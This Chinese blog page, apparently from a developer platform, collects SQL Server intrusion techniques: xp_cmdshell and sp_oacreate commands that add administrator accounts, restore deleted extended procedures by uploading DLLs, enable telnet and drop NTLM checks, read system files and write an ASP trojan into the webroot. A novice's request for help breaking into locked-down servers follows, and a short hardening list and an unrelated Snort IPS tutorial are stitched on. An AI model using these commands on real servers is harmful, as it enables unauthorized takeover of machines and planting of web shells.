总结SQL入侵中的突破方法

本文详细介绍了在 SQL Server 中提升权限的相关命令,包括使用 master..xp_cmdshell 等命令进行操作,同时提供了防范措施,如删除扩展存储过程、防范 ASP 木马运行、防止 SQL 注入攻击等。

SQL Server 提升权限相关命令及防范 (*)
===========================================================================================
exec master..xp_cmdshell "net user name password /add"
exec master..xp_cmdshell "net localgroup administrators name /add"
==========================================================================================
2.sa帐号的改名和删除
sa一般情况下是既不可以更改名称,也不可以删除,SQL中的企业管理器,接着在工具选项卡中选择SQL server配置属性依次,点服务器设置,看到允许对系统目录直接进行修改前面的方框吗,点一下,好。
再打开查询分析器,登陆进去(呵呵,随便你用什么帐号进去,不过可一定要在master数据库中有db_owner的权限)输入:
update sysxlogins set name=’yun’ where sid=0x01
update sysxlogins set sid=0xE765555BD44F054F89CD0076A06EA823 where name=’yun’
192.168.71.128 yun 空
当然你也可以改回来,你要改成的名字=sa
============================================================================================

3.防范判断存储过程以及拒绝SQL连接入侵
删除SQLSERVER扩展存储过程
扩展存储过程包括:再通过企业管理器删除下面这些
sp_activedirector_scp
sp_adddispublisher
sp_adddistributiondb
sp_attachsubscription
sp_changedistpublisher
sp_copysubscription
sp_mscopyscriptfile
sp_msremove_userscript
sp_replicationoption
sp_resolve_logins
sp_vupgrade_replication
xp_cmdshell
这样可以有效防范ASP木马运行判断存储过程。
SA这类用户的xp_shell调用到xplog70.dll.
删除xplog70.dll,这样可以防止大多数的SQL连接,就是别人通过SQL注入连接到你服务器,也执行不了命令。
c:\sql2000\程序文件\bin\xplog70.dll
=====================================================================================================
4.确定 SQL Server 或 Analysis Services 的当前版本

osql 或 isql 实用工具在命令提示符中或在 SQL 查询分析器的“查询”窗口中键入 Select @@VERSION 或 SERVERPROPERTY(’ProductVersion’)。

同样,特定版本 SQL Server 2000 的产品级别可以通过执行 Select SERVERPROPERTY(’ProductLevel’) 来确定。

下表显示了 SQL Server 2000 版本和级别、@@VERSION 报告的版本号以及 SERVERPROPERTY(’ProductLevel’) 报告的产品级别三者之间的关系。
SQL Server 2000 版本和级别   @@VERSION   ProductLevel
SQL Server 2000 RTM   8.00.194   RTM
Database Components SP1   8.00.384   SP1
Database Components SP2   8.00.534   SP2
Database Components SP3   8.00.760   SP3
======================================================================================= =========

1 未能找到存储过程’master..xpcmdshell’. (也就是管理员删除了扩展存储过程-xp_cmdshell)
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’
然后按F5键命令执行完毕


2 无法装载xplog70.dll 或该 DLL 所引用的某一 DLL原因: 126(找不到指定的模块。)。(也就是被管理员删除了xplog70.dll,或者改名了。)
给他上传一个xplog70.dll文件。
打开文件上传的窗口将文件上传到C:\WinNt\System32\下后执行数据库命令
Select * from sysxlogins Exec master.dbo.addextendedproc ’xp_cmdshell’, ’C:\WinNt\System32\xplog70.dll’。

Select * from sysxlogins Exec master.dbo.addextendedproc ’xp_cmdshell’, ’C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’

3 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL原因126(找不到指定模块。)

恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’

4 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc ’xp_cmdshell’
第二步执行:exec sp_addextendedproc ’xp_cmdshell’,’xpweb70.dll’  
然后按F5键命令执行完毕

5 终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add’

declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add’

xp或2003server系统:

declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user 新用户 密码 /add’

declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add’

然后按F5键命令执行完毕

但这样做似乎没有什么用,我用以上的方法只成功过一台机器,我想可能是管理员删除了xpsql70.dll或者xplog70.dll,我从网上找了这两个dll文件,上传上去,再用上面的方法还是不行?不知道为什么?能否帮忙解释一下为什么

问题2:xp_cmdshell,sp_oacreate等无执行权限,这些机器我就直接放弃了,我是菜鸟,不知道还有什么办法可以突破这个?

问题3:有些机器可以用上面的终极方法添加管理员,也是就得到了最终的权限,但是开不了telnet,telnet无法启动服务,这样还能开3389吗?telnet无法启动的时候改怎么解决呢?

问题4:用终极方法添加管理员后,还是用declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net start telnet ’启动了telnet服务,但是需要NTLM验证,我知道用紫幻的方法可以很好解决,但是我用declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c tlntadmn config sec = -ntlm’执行成功以后,用telnet登陆还是需要NTLM验证,想不通为什么成功了还要NTML验证,然后在网上找资料,找到的三种方法,
1:上传NTML.exe改模式2为1(但我没有得到一个shell,能用添加管理一样,执行NTML.exe文件吗?也不知道会不会上传成功?)
2:用opentelnet,这个依赖$IPC,没开只能放弃。
3:用cscript rtcs.vbe,我在网上找了好久都没找到rtcs.vbe这个文件,!-_-
到这里,我这菜鸟又没有办法了,又只能放弃了。导师们,你们到这里会这么解决


6 绕过xp_cmdshell执行系统命令
在MSSQL中可以通过sp_oacreate 和sp_oamethod 两个存储扩展创建ActiveX自动脚本。因此执行系统命令的语句可以写成:
declare @o int
exec sp_oacreate ’wscript.shell’, @o out
exec sp_oamethod @o, ’run’, NULL, ’net start telnet’
他的作用是在服务器端通过wscript.shell执行net start telnet,从而开启服务器的telnet服务。
你一定会想到FSO了!对,我们也可以通过它进行文件的管理,例如:
declare @o int, @f int, @t int, @ret int ,@c varchar(8000)
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’c:\boot.ini’, 1
exec @ret = sp_oamethod @f, ’readline’, @line out
select @c=’’
while( @ret = 0)
begin
select @c=@c+@line+char(13)+char(10)
exec @ret = sp_oamethod @f, ’readline’, @line out
end
可以读取c:\boot.ini文件中的内容并存储在局部变量@c中。如果想读出来,只需要创建一个临时表写入就可以了。
用这种方法也可以创建文件,并写入数据,例如:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’createtextfile’, @f out, ’c:\inetpub\wwwroot\foo.asp’, 1
exec @ret = sp_oamethod @f, ’writeline’, NULL, ’’
在c:\inetpub\wwwroot\foo.asp创建了一个只有两行代码的asp木马。这种方法避免了使用备份所带来的大量无用数据和使用sp_makewebtask存储扩展所带来的创建临时表的麻烦。这可是居家旅行,杀人硬盘的必备工具阿!
### IPS入侵防御系统搭建方法及策略配置教程 #### 1. 搭建IPS环境 为了实现一个功能完善的入侵防御系统(Intrusion Prevention System, IPS),可以采用开源软件Snort作为核心组件。Snort是一款广泛使用的网络入侵检测和预防工具,支持多种规则集来识别和阻止恶意流量。 安装Snort的过程如下: - 首先,在Linux服务器上更新操作系统并安装必要的依赖项[^2]。 ```bash sudo apt update && sudo apt upgrade -y sudo apt install build-essential libpcap-dev libpcre3-dev bison flex zlib1g-dev openssl libssl-dev -y ``` - 下载最新版本的Snort源码并编译安装[^1]: ```bash wget https://www.snort.org/downloads/snort/snort-2.9.x.tar.gz tar zxvf snort-2.9.x.tar.gz cd snort-2.9.x ./configure --enable-sourcefire make sudo make install ``` 完成以上步骤后,需创建基本目录结构以便存储规则文件和其他必要数据[^2]: ```bash mkdir /etc/snort mkdir /var/log/snort/ touch /var/log/snort/alert chmod 775 /var/log/snort/alert chown -R root:snort /etc/snort chown -R root:snort /var/log/snort/ ``` #### 2. 配置Snort为IPS模式 要使Snort运行于IPS模式下而非仅限ID(入侵检测)模式,则需要调整其启动参数,并设置恰当的网络接口卡工作方式以拦截并丢弃可疑的数据包[^1]。 编辑`/etc/snort/snort.conf`文件定义规则路径、预处理器选项以及其他全局设定。接着通过命令行指定特定网口进入inline操作状态: ```bash sudo iptables -I INPUT -j NFQUEUE --queue-num 1 sudo snort -Q -q -c /etc/snort/snort.conf -i eth0 --daq afpacket --daq-mode inline --rule-path=/usr/local/lib/snort_dynamicrules/ ``` 这里使用了NFQUEUE机制让iptables将匹配条件的数据流传递给Snort处理后再决定放行还是阻断[^2]。 #### 3. 制定防护策略 制定有效的防护策略涉及以下几个方面: - **基于签名的规则**:利用已知攻击模式构建精确匹配规则,快速响应常见的威胁行为[^1]。 - **异常活动监控**:当某些指标偏离正常范围时触发告警或采取行动,比如连接频率过高或者访问敏感资源的行为。 - **自定义脚本扩展**:编写Lua脚本来增强现有功能,满足特殊场景下的需求分析[^3]。 例如下面是一条简单的SQL注入防范规则示例: ```plaintext alert tcp any any -> any 80 ( msg:"Potential SQL Injection Attempt"; content:"SELECT|20|"; nocase; sid:1000001; rev:1; classtype:misc-attack; priority:1; ) ``` 此规则会针对HTTP请求中的GET/POST字段查找是否存在关键字“SELECT”,一旦发现即刻发出警告通知管理员注意可能存在的风险[^3]。 #### 4. 总结实验过程与结果 在整个过程中完成了从基础环境准备到高级特性应用一系列任务。具体成果包括但不限于成功部署了一套完整的IPS解决方案框架;验证了几种典型网络安全事件对应的处置措施有效性;积累了关于优化性能调优方面的实践经验等。 通过对日志记录深入剖析,发现了若干次尝试突破防线未遂的情况,证明当前架构确实起到了应有的屏障作用。同时也要认识到任何单一手段都无法做到百分之百可靠,因此建议持续关注新兴趋势变化及时补充完善整体安全体系设计思路。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值